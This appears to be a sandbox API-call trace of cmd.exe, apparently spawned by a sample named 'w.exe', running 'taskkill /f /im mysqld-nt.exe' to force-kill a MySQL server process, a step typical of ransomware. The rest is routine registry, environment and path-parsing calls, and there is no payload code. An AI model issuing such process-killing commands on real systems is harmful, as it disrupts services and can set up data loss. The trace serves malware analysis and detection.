	[0042.207] RegQueryValueExW (in: hKey=0x68, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x28eb34, lpData=0x28eb38, lpcbData=0x28eb30*=0x1000 | out: lpType=0x28eb34*=0x0, lpData=0x28eb38*=0x0, lpcbData=0x28eb30*=0x1000) returned 0x2
	[0042.207] RegQueryValueExW (in: hKey=0x68, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x28eb34, lpData=0x28eb38, lpcbData=0x28eb30*=0x1000 | out: lpType=0x28eb34*=0x4, lpData=0x28eb38*=0x1, lpcbData=0x28eb30*=0x4) returned 0x0
	[0042.207] RegQueryValueExW (in: hKey=0x68, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x28eb34, lpData=0x28eb38, lpcbData=0x28eb30*=0x1000 | out: lpType=0x28eb34*=0x0, lpData=0x28eb38*=0x1, lpcbData=0x28eb30*=0x1000) returned 0x2
	[0042.207] RegQueryValueExW (in: hKey=0x68, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x28eb34, lpData=0x28eb38, lpcbData=0x28eb30*=0x1000 | out: lpType=0x28eb34*=0x4, lpData=0x28eb38*=0x0, lpcbData=0x28eb30*=0x4) returned 0x0
	[0042.207] RegQueryValueExW (in: hKey=0x68, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x28eb34, lpData=0x28eb38, lpcbData=0x28eb30*=0x1000 | out: lpType=0x28eb34*=0x4, lpData=0x28eb38*=0x40, lpcbData=0x28eb30*=0x4) returned 0x0
	[0042.207] RegQueryValueExW (in: hKey=0x68, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x28eb34, lpData=0x28eb38, lpcbData=0x28eb30*=0x1000 | out: lpType=0x28eb34*=0x4, lpData=0x28eb38*=0x40, lpcbData=0x28eb30*=0x4) returned 0x0
	[0042.207] RegQueryValueExW (in: hKey=0x68, lpValueName="AutoRun", lpReserved=0x0, lpType=0x28eb34, lpData=0x28eb38, lpcbData=0x28eb30*=0x1000 | out: lpType=0x28eb34*=0x0, lpData=0x28eb38*=0x40, lpcbData=0x28eb30*=0x1000) returned 0x2
	[0042.207] RegCloseKey (hKey=0x68) returned 0x0
	[0042.207] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x28eb2c | out: phkResult=0x28eb2c*=0x68) returned 0x0
	[0042.207] RegQueryValueExW (in: hKey=0x68, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x28eb34, lpData=0x28eb38, lpcbData=0x28eb30*=0x1000 | out: lpType=0x28eb34*=0x0, lpData=0x28eb38*=0x40, lpcbData=0x28eb30*=0x1000) returned 0x2
	[0042.207] RegQueryValueExW (in: hKey=0x68, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x28eb34, lpData=0x28eb38, lpcbData=0x28eb30*=0x1000 | out: lpType=0x28eb34*=0x4, lpData=0x28eb38*=0x1, lpcbData=0x28eb30*=0x4) returned 0x0
	[0042.208] RegQueryValueExW (in: hKey=0x68, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x28eb34, lpData=0x28eb38, lpcbData=0x28eb30*=0x1000 | out: lpType=0x28eb34*=0x0, lpData=0x28eb38*=0x1, lpcbData=0x28eb30*=0x1000) returned 0x2
	[0042.208] RegQueryValueExW (in: hKey=0x68, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x28eb34, lpData=0x28eb38, lpcbData=0x28eb30*=0x1000 | out: lpType=0x28eb34*=0x4, lpData=0x28eb38*=0x0, lpcbData=0x28eb30*=0x4) returned 0x0
	[0042.208] RegQueryValueExW (in: hKey=0x68, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x28eb34, lpData=0x28eb38, lpcbData=0x28eb30*=0x1000 | out: lpType=0x28eb34*=0x4, lpData=0x28eb38*=0x9, lpcbData=0x28eb30*=0x4) returned 0x0
	[0042.208] RegQueryValueExW (in: hKey=0x68, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x28eb34, lpData=0x28eb38, lpcbData=0x28eb30*=0x1000 | out: lpType=0x28eb34*=0x4, lpData=0x28eb38*=0x9, lpcbData=0x28eb30*=0x4) returned 0x0
	[0042.208] RegQueryValueExW (in: hKey=0x68, lpValueName="AutoRun", lpReserved=0x0, lpType=0x28eb34, lpData=0x28eb38, lpcbData=0x28eb30*=0x1000 | out: lpType=0x28eb34*=0x0, lpData=0x28eb38*=0x9, lpcbData=0x28eb30*=0x1000) returned 0x2
	[0042.208] RegCloseKey (hKey=0x68) returned 0x0
	[0042.208] time (in: timer=0x0 | out: timer=0x0) returned 0x5d163032
	[0042.208] srand (_Seed=0x5d163032) 
	[0042.208] GetCommandLineW () returned="cmd.exe /c \"taskkill /f /im mysqld-nt.exe \""
	[0042.208] GetCommandLineW () returned="cmd.exe /c \"taskkill /f /im mysqld-nt.exe \""
	[0042.208] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a8b5260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25
	[0042.208] GetProcessHeap () returned 0x430000
	[0042.208] RtlAllocateHeap (HeapHandle=0x430000, Flags=0x8, Size=0x210) returned 0x442010
	[0042.208] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x442018, nSize=0x104 | out: lpFilename="C:\\Windows\\SysWOW64\\cmd.exe" (normalized: "c:\\windows\\syswow64\\cmd.exe")) returned 0x1b
	[0042.209] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a8c0640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63
	[0042.209] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a8c0640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0042.209] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a8c0640, nSize=0x2000 | out: lpBuffer="") returned 0x0
	[0042.209] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13
	[0042.209] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11
	[0042.209] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13
	[0042.209] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13
	[0042.209] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12
	[0042.209] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4
	[0042.209] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2
	[0042.209] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8
	[0042.209] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1
	[0042.209] GetProcessHeap () returned 0x430000
	[0042.209] HeapFree (in: hHeap=0x430000, dwFlags=0x0, lpMem=0x442ae8 | out: hHeap=0x430000) returned 1
	[0042.209] GetEnvironmentStringsW () returned 0x442228*
	[0042.209] GetProcessHeap () returned 0x430000
	[0042.209] RtlAllocateHeap (HeapHandle=0x430000, Flags=0x8, Size=0xae2) returned 0x444b88
	[0042.209] FreeEnvironmentStringsW (penv=0x442228) returned 1
	[0042.209] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x4a8c0640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b
	[0042.209] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x4a8c0640, nSize=0x2000 | out: lpBuffer="") returned 0x0
	[0042.209] _wcsicmp (_String1="KEYS", _String2="CD") returned 8
	[0042.209] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6
	[0042.209] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8
	[0042.209] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8
	[0042.209] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7
	[0042.209] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9
	[0042.209] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7
	[0042.210] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3
	[0042.210] GetProcessHeap () returned 0x430000
	[0042.210] RtlAllocateHeap (HeapHandle=0x430000, Flags=0x8, Size=0x54) returned 0x445678
	[0042.210] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x28f8f8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25
	[0042.210] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x104, lpBuffer=0x28f8f8, lpFilePart=0x28f8f4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x28f8f4*="Desktop") returned 0x25
	[0042.210] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11
	[0042.210] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x28f674 | out: lpFindFileData=0x28f674*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c670c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28c670c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 0x441e90
	[0042.210] FindClose (in: hFindFile=0x441e90 | out: hFindFile=0x441e90) returned 1
	[0042.210] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz", lpFindFileData=0x28f674 | out: lpFindFileData=0x28f674*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="5p5NrGJn0jS HALPmcxz", cAlternateFileName="5P5NRG~1")) returned 0x441e90
	[0042.210] FindClose (in: hFindFile=0x441e90 | out: hFindFile=0x441e90) returned 1
	[0042.210] _wcsnicmp (_String1="5P5NRG~1", _String2="5p5NrGJn0jS HALPmcxz", _MaxCount=0x14) returned 20
	[0042.210] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFindFileData=0x28f674 | out: lpFindFileData=0x28f674*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xf321cc00, ftLastAccessTime.dwHighDateTime=0x1d52dc4, ftLastWriteTime.dwLowDateTime=0xf321cc00, ftLastWriteTime.dwHighDateTime=0x1d52dc4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 0x441e90
	[0042.210] FindClose (in: hFindFile=0x441e90 | out: hFindFile=0x441e90) returned 1
	[0042.210] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11
	[0042.210] SetCurrentDirectoryW (lpPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 1
	[0042.211] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 1
	[0042.211] GetProcessHeap () returned 0x430000
	[0042.211] HeapFree (in: hHeap=0x430000, dwFlags=0x0, lpMem=0x444b88 | out: hHeap=0x430000) returned 1
	[0042.211] GetEnvironmentStringsW () returned 0x444098*
	[0042.211] GetProcessHeap () returned 0x430000
	[0042.211] RtlAllocateHeap (HeapHandle=0x430000, Flags=0x8, Size=0xb36) returned 0x445ed8
	[0042.211] FreeEnvironmentStringsW (penv=0x444098) returned 1
	[0042.211] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a8b5260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25
	[0042.211] GetProcessHeap () returned 0x430000
	[0042.211] HeapFree (in: hHeap=0x430000, dwFlags=0x0, lpMem=0x445678 | out: hHeap=0x430000) returned 1
	[0042.211] GetProcessHeap () returned 0x430000
	[0042.211] RtlAllocateHeap (HeapHandle=0x430000, Flags=0x8, Size=0x400e) returned 0x446a18
	[0042.211] GetProcessHeap () returned 0x430000
	[0042.211] RtlAllocateHeap (HeapHandle=0x430000, Flags=0x8, Size=0x4e) returned 0x442d68
	[0042.211] GetProcessHeap () returned 0x430000
	[0042.211] RtlAllocateHeap (HeapHandle=0x430000, Flags=0x8, Size=0x4008) returned 0x44aa30
	[0042.212] GetProcessHeap () returned 0x430000
	[0042.212] RtlAllocateHeap (HeapHandle=0x430000, Flags=0x8, Size=0x4008) returned 0x44ea40
	[0042.213] _wcsnicmp (_String1="task", _String2="cmd ", _MaxCount=0x4) returned 17
	[0042.214] GetProcessHeap () returned 0x430000
	[0042.214] RtlAllocateHeap (HeapHandle=0x430000, Flags=0x8, Size=0x418) returned 0x442dc0
	[0042.214] SetErrorMode (uMode=0x0) returned 0x8003
	[0042.214] SetErrorMode (uMode=0x1) returned 0x0
	[0042.214] GetFullPathNameW (in: lpFileName="taskkill \\f \\.", nBufferLength=0x208, lpBuffer=0x442dc8, lpFilePart=0x28f870 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\taskkill \\f", lpFilePart=0x28f870*="f") returned 0x31
	[0042.214] SetErrorMode (uMode=0x8003) returned 0x1
	[0042.214] GetProcessHeap () returned 0x430000
	[0042.214] RtlReAllocateHeap (Heap=0x430000, Flags=0x0, Ptr=0x442dc0, Size=0x90) returned 0x442dc0
	[0042.214] GetProcessHeap () returned 0x430000
	[0042.214] RtlSizeHeap (HeapHandle=0x430000, Flags=0x0, MemoryPointer=0x442dc0) returned 0x90
	[0042.214] NeedCurrentDirectoryForExePathW (ExeName="taskkill \\f \\.") returned 1
	[0042.214] GetProcessHeap () returned 0x430000
	[0042.214] RtlAllocateHeap (HeapHandle=0x430000, Flags=0x8, Size=0x72) returned 0x452a68
	[0042.214] GetProcessHeap () returned 0x430000
	[0042.214] RtlAllocateHeap (HeapHandle=0x430000, Flags=0x8, Size=0xd8) returned 0x442e58
	[0042.214] GetProcessHeap () returned 0x430000
	[0042.214] RtlReAllocateHeap (Heap=0x430000, Flags=0x0, Ptr=0x442e58, Size=0x72) returned 0x442e58
	[0042.214] GetProcessHeap () returned 0x430000
	[0042.214] RtlSizeHeap (HeapHandle=0x430000, Flags=0x0, MemoryPointer=0x442e58) returned 0x72
	[0042.214] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a8c0640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0042.214] GetProcessHeap () returned 0x430000
	[0042.215] RtlAllocateHeap (HeapHandle=0x430000, Flags=0x8, Size=0xe0) returned 0x442ed8
	[0042.218] GetProcessHeap () returned 0x430000
	[0042.218] RtlReAllocateHeap (Heap=0x430000, Flags=0x0, Ptr=0x442ed8, Size=0x76) returned 0x442ed8
	[0042.218] GetProcessHeap () returned 0x430000
	[0042.218] RtlSizeHeap (HeapHandle=0x430000, Flags=0x0, MemoryPointer=0x442ed8) returned 0x76
	[0042.218] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0042.218] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\taskkill \\f\\im mysqld-nt.exe ", fInfoLevelId=0x1, lpFindFileData=0x28f60c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x28f60c) returned 0xffffffff
	[0042.218] GetLastError () returned 0x3
	[0042.218] GetProcessHeap () returned 0x430000
	[0042.218] HeapFree (in: hHeap=0x430000, dwFlags=0x0, lpMem=0x44aa30 | out: hHeap=0x430000) returned 1
	[0042.218] GetProcessHeap () returned 0x430000
	[0042.218] HeapFree (in: hHeap=0x430000, dwFlags=0x0, lpMem=0x44ea40 | out: hHeap=0x430000) returned 1
	[0042.218] GetProcessHeap () returned 0x430000
	[0042.218] HeapFree (in: hHeap=0x430000, dwFlags=0x0, lpMem=0x446a18 | out: hHeap=0x430000) returned 1
	[0042.218] GetConsoleOutputCP () returned 0x1b5
	[0042.219] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a8b4260 | out: lpCPInfo=0x4a8b4260) returned 1
	[0042.219] GetUserDefaultLCID () returned 0x409
	[0042.219] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x4a8b4950, cchData=8 | out: lpLCData=":") returned 2
	[0042.220] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x28fa38, cchData=128 | out: lpLCData="0") returned 2
	[0042.220] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x28fa38, cchData=128 | out: lpLCData="0") returned 2
	[0042.220] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x28fa38, cchData=128 | out: lpLCData="1") returned 2
	[0042.220] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x4a8b4940, cchData=8 | out: lpLCData="/") returned 2
	[0042.220] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x4a8b4d80, cchData=32 | out: lpLCData="Mon") returned 4
	[0042.220] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x4a8b4d40, cchData=32 | out: lpLCData="Tue") returned 4
	[0042.220] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x4a8b4d00, cchData=32 | out: lpLCData="Wed") returned 4
	[0042.220] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x4a8b4cc0, cchData=32 | out: lpLCData="Thu") returned 4
	[0042.220] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x4a8b4c80, cchData=32 | out: lpLCData="Fri") returned 4
	[0042.220] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x4a8b4c40, cchData=32 | out: lpLCData="Sat") returned 4
	[0042.220] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x4a8b4c00, cchData=32 | out: lpLCData="Sun") returned 4
	[0042.220] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x4a8b4930, cchData=8 | out: lpLCData=".") returned 2
	[0042.220] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x4a8b4920, cchData=8 | out: lpLCData=",") returned 2
	[0042.220] setlocale (category=0, locale=".OCP") returned="English_United States.437"
	[0042.221] GetProcessHeap () returned 0x430000
	[0042.221] RtlAllocateHeap (HeapHandle=0x430000, Flags=0x0, Size=0x20c) returned 0x442f58
	[0042.221] GetConsoleTitleW (in: lpConsoleTitle=0x442f58, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\w.exe") returned 0x2b
	[0042.222] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000
	[0042.222] GetProcAddress (hModule=0x76c20000, lpProcName="CopyFileExW") returned 0x76c53b92
	[0042.222] GetProcAddress (hModule=0x76c20000, lpProcName="IsDebuggerPresent") returned 0x76c34a5d
	[0042.222] GetProcAddress (hModule=0x76c20000, lpProcName="SetConsoleInputExeNameW") returned 0x76c4a79d
	[0042.222] GetProcessHeap () returned 0x430000
	[0042.222] RtlAllocateHeap (HeapHandle=0x430000, Flags=0x8, Size=0x400a) returned 0x446a18
	[0042.222] GetProcessHeap () returned 0x430000
	[0042.222] HeapFree (in: hHeap=0x430000, dwFlags=0x0, lpMem=0x446a18 | out: hHeap=0x430000) returned 1
	[0042.223] _wcsicmp (_String1="taskkill", _String2=")") returned 75
	[0042.223] _wcsicmp (_String1="FOR", _String2="taskkill") returned -14
	[0042.223] _wcsicmp (_String1="FOR/?", _String2="taskkill") returned -14
	[0042.223] _wcsicmp (_String1="IF", _String2="taskkill") returned -11
	[0042.223] _wcsicmp (_String1="IF/?", _String2="taskkill") returned -11
	[0042.223] _wcsicmp (_String1="REM", _String2="taskkill") returned -2
	[0042.223] _wcsicmp (_String1="REM/?", _String2="taskkill") returned -2
	[0042.223] GetProcessHeap () returned 0x430000
	[0042.223] RtlAllocateHeap (HeapHandle=0x430000, Flags=0x8, Size=0x58) returned 0x443170
	[0042.223] GetProcessHeap () returned 0x430000
	[0042.223] RtlAllocateHeap (HeapHandle=0x430000, Flags=0x8, Size=0x1a) returned 0x445718
	[0042.223] GetProcessHeap () returned 0x430000
	[0042.224] RtlAllocateHeap (HeapHandle=0x430000, Flags=0x8, Size=0x36) returned 0x4431d0
	[0042.224] GetConsoleTitleW (in: lpConsoleTitle=0x28f730, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\w.exe") returned 0x2b
	[0042.225] _wcsicmp (_String1="taskkill", _String2="DIR") returned 16
	[0042.225] _wcsicmp (_String1="taskkill", _String2="ERASE") returned 15
	[0042.225] _wcsicmp (_String1="taskkill", _String2="DEL") returned 16
	[0042.225] _wcsicmp (_String1="taskkill", _String2="TYPE") returned -24
	[0042.225] _wcsicmp (_String1="taskkill", _String2="COPY") returned 17
	[0042.225] _wcsicmp (_String1="taskkill", _String2="CD") returned 17
	[0042.225] _wcsicmp (_String1="taskkill", _String2="CHDIR") returned 17
	[0042.225] _wcsicmp (_String1="taskkill", _String2="RENAME") returned 2
	[0042.225] _wcsicmp (_String1="taskkill", _String2="REN") returned 2
	[0042.225] _wcsicmp (_String1="taskkill", _String2="ECHO") returned 15
	[0042.225] _wcsicmp (_String1="taskkill", _String2="SET") returned 1
	[0042.225] _wcsicmp (_String1="taskkill", _String2="PAUSE") returned 4
	[0042.225] _wcsicmp (_String1="taskkill", _String2="DATE") returned 16
	[0042.225] _wcsicmp (_String1="taskkill", _String2="TIME") returned -8
	[0042.225] _wcsicmp (_String1="taskkill", _String2="PROMPT") returned 4
	[0042.225] _wcsicmp (_String1="taskkill", _String2="MD") returned 7
	[0042.225] _wcsicmp (_String1="taskkill", _String2="MKDIR") returned 7
	[0042.225] _wcsicmp (_String1="taskkill", _String2="RD") returned 2
	[0042.225] _wcsicmp (_String1="taskkill", _String2="RMDIR") returned 2
	[0042.225] _wcsicmp (_String1="taskkill", _String2="PATH") returned 4
	[0042.225] _wcsicmp (_String1="taskkill", _String2="GOTO") returned 13
	[0042.225] _wcsicmp (_String1="taskkill", _String2="SHIFT") returned 1
	[0042.225] _wcsicmp (_String1="taskkill", _String2="CLS") returned 17
	[0042.225] _wcsicmp (_String1="taskkill", _String2="CALL") returned 17
	[0042.225] _wcsicmp (_String1="taskkill", _String2="VERIFY") returned -2
	[0042.225] _wcsicmp (_String1="taskkill", _String2="VER") returned -2
	[0042.225] _wcsicmp (_String1="taskkill", _String2="VOL") returned -2
	[0042.225] _wcsicmp (_String1="taskkill", _String2="EXIT") returned 15
	[0042.225] _wcsicmp (_String1="taskkill", _String2="SETLOCAL") returned 1
	[0042.225] _wcsicmp (_String1="taskkill", _String2="ENDLOCAL") returned 15
	[0042.225] _wcsicmp (_String1="taskkill", _String2="TITLE") returned -8
	[0042.225] _wcsicmp (_String1="taskkill", _String2="START") returned 1
	[0042.226] _wcsicmp (_String1="taskkill", _String2="DPATH") returned 16
	[0042.226] _wcsicmp (_String1="taskkill", _String2="KEYS") returned 9
	[0042.226] _wcsicmp (_String1="taskkill", _String2="MOVE") returned 7
	[0042.226] _wcsicmp (_String1="taskkill", _String2="PUSHD") returned 4
	[0042.226] _wcsicmp (_String1="taskkill", _String2="POPD") returned 4
	[0042.226] _wcsicmp (_String1="taskkill", _String2="ASSOC") returned 19
	[0042.226] _wcsicmp (_String1="taskkill", _String2="FTYPE") returned 14
	[0042.226] _wcsicmp (_String1="taskkill", _String2="BREAK") returned 18
	[0042.226] _wcsicmp (_String1="taskkill", _String2="COLOR") returned 17
	[0042.226] _wcsicmp (_String1="taskkill", _String2="MKLINK") returned 7
	[0042.226] _wcsicmp (_String1="taskkill", _String2="DIR") returned 16
	[0042.226] _wcsicmp (_String1="taskkill", _String2="ERASE") returned 15
	[0042.226] _wcsicmp (_String1="taskkill", _String2="DEL") returned 16
	[0042.226] _wcsicmp (_String1="taskkill", _String2="TYPE") returned -24
	[0042.226] _wcsicmp (_String1="taskkill", _String2="COPY") returned 17
	[0042.226] _wcsicmp (_String1="taskkill", _String2="CD") returned 17
	[0042.226] _wcsicmp (_String1="taskkill", _String2="CHDIR") returned 17
	[0042.228] _wcsicmp (_String1="taskkill", _String2="RENAME") returned 2
	[0042.228] _wcsicmp (_String1="taskkill", _String2="REN") returned 2
	[0042.228] _wcsicmp (_String1="taskkill", _String2="ECHO") returned 15
	[0042.228] _wcsicmp (_String1="taskkill", _String2="SET") returned 1
	[0042.228] _wcsicmp (_String1="taskkill", _String2="PAUSE") returned 4
	[0042.228] _wcsicmp (_String1="taskkill", _String2="DATE") returned 16
	[0042.228] _wcsicmp (_String1="taskkill", _String2="TIME") returned -8
	[0042.228] _wcsicmp (_String1="taskkill", _String2="PROMPT") returned 4
	[0042.228] _wcsicmp (_String1="taskkill", _String2="MD") returned 7
	[0042.228] _wcsicmp (_String1="taskkill", _String2="MKDIR") returned 7
	[0042.228] _wcsicmp (_String1="taskkill", _String2="RD") returned 2
	[0042.228] _wcsicmp (_String1="taskkill", _String2="RMDIR") returned 2
	[0042.228] _wcsicmp (_String1="taskkill", _String2="PATH") returned 4
	[0042.228] _wcsicmp (_String1="taskkill", _String2="GOTO") returned 13
	[0042.228] _wcsicmp (_String1="taskkill", _String2="SHIFT") returned 1
	[0042.228] _wcsicmp (_String1="taskkill", _String2="CLS") returned 17
	[0042.228] _wcsicmp (_String1="taskkill", _String2="CALL") returned 17
	[0042.228] _wcsicmp (_String1="taskkill", _String2="VERIFY") returned -2
	[0042.229] _wcsicmp (_String1="taskkill", _String2="VER") returned -2
	[0042.229] _wcsicmp (_String1="taskkill", _String2="VOL") returned -2
	[0042.229] _wcsicmp (_String1="taskkill", _String2="EXIT") returned 15
	[0042.229] _wcsicmp (_String1="taskkill", _String2="SETLOCAL") returned 1
	[0042.229] _wcsicmp (_String1="taskkill", _String2="ENDLOCAL") returned 15
	[0042.229] _wcsicmp (_String1="taskkill", _String2="TITLE") returned -8
	[0042.229] _wcsicmp (_String1="taskkill", _String2="START") returned 1
	[0042.229] _wcsicmp (_String1="taskkill", _String2="DPATH") returned 16
	[0042.229] _wcsicmp (_String1="taskkill", _String2="KEYS") returned 9
	[0042.229] _wcsicmp (_String1="taskkill", _String2="MOVE") returned 7
	[0042.229] _wcsicmp (_String1="taskkill", _String2="PUSHD") returned 4
	[0042.229] _wcsicmp (_String1="taskkill", _String2="POPD") returned 4
	[0042.229] _wcsicmp (_String1="taskkill", _String2="ASSOC") returned 19
	[0042.229] _wcsicmp (_String1="taskkill", _String2="FTYPE") returned 14
	[0042.229] _wcsicmp (_String1="taskkill", _String2="BREAK") returned 18
	[0042.229] _wcsicmp (_String1="taskkill", _String2="COLOR") returned 17
	[0042.229] _wcsicmp (_String1="taskkill", _String2="MKLINK") returned 7
	[0042.229] _wcsicmp (_String1="taskkill", _String2="FOR") returned 14
	[0042.229] _wcsicmp (_String1="taskkill", _String2="IF") returned 11
	[0042.229] _wcsicmp (_String1="taskkill", _String2="REM") returned 2
	[0042.229] GetProcessHeap () returned 0x430000
	[0042.229] RtlAllocateHeap (HeapHandle=0x430000, Flags=0x8, Size=0x210) returned 0x443210
	[0042.229] GetProcessHeap () returned 0x430000
	[0042.229] RtlAllocateHeap (HeapHandle=0x430000, Flags=0x8, Size=0x48) returned 0x443428
	[0042.230] _wcsnicmp (_String1="task", _String2="cmd ", _MaxCount=0x4) returned 17
	[0042.230] GetProcessHeap () returned 0x430000
	[0042.230] RtlAllocateHeap (HeapHandle=0x430000, Flags=0x8, Size=0x418) returned 0x4307f0
	[0042.230] SetErrorMode (uMode=0x0) returned 0x8003
	[0042.230] SetErrorMode (uMode=0x1) returned 0x0
	[0042.230] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x4307f8, lpFilePart=0x28f250 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x28f250*="Desktop") returned 0x25
	[0042.230] SetErrorMode (uMode=0x8003) returned 0x1
	[0042.230] GetProcessHeap () returned 0x430000
	[0042.230] RtlReAllocateHeap (Heap=0x430000, Flags=0x0, Ptr=0x4307f0, Size=0x66) returned 0x4307f0
	[0042.230] GetProcessHeap () returned 0x430000
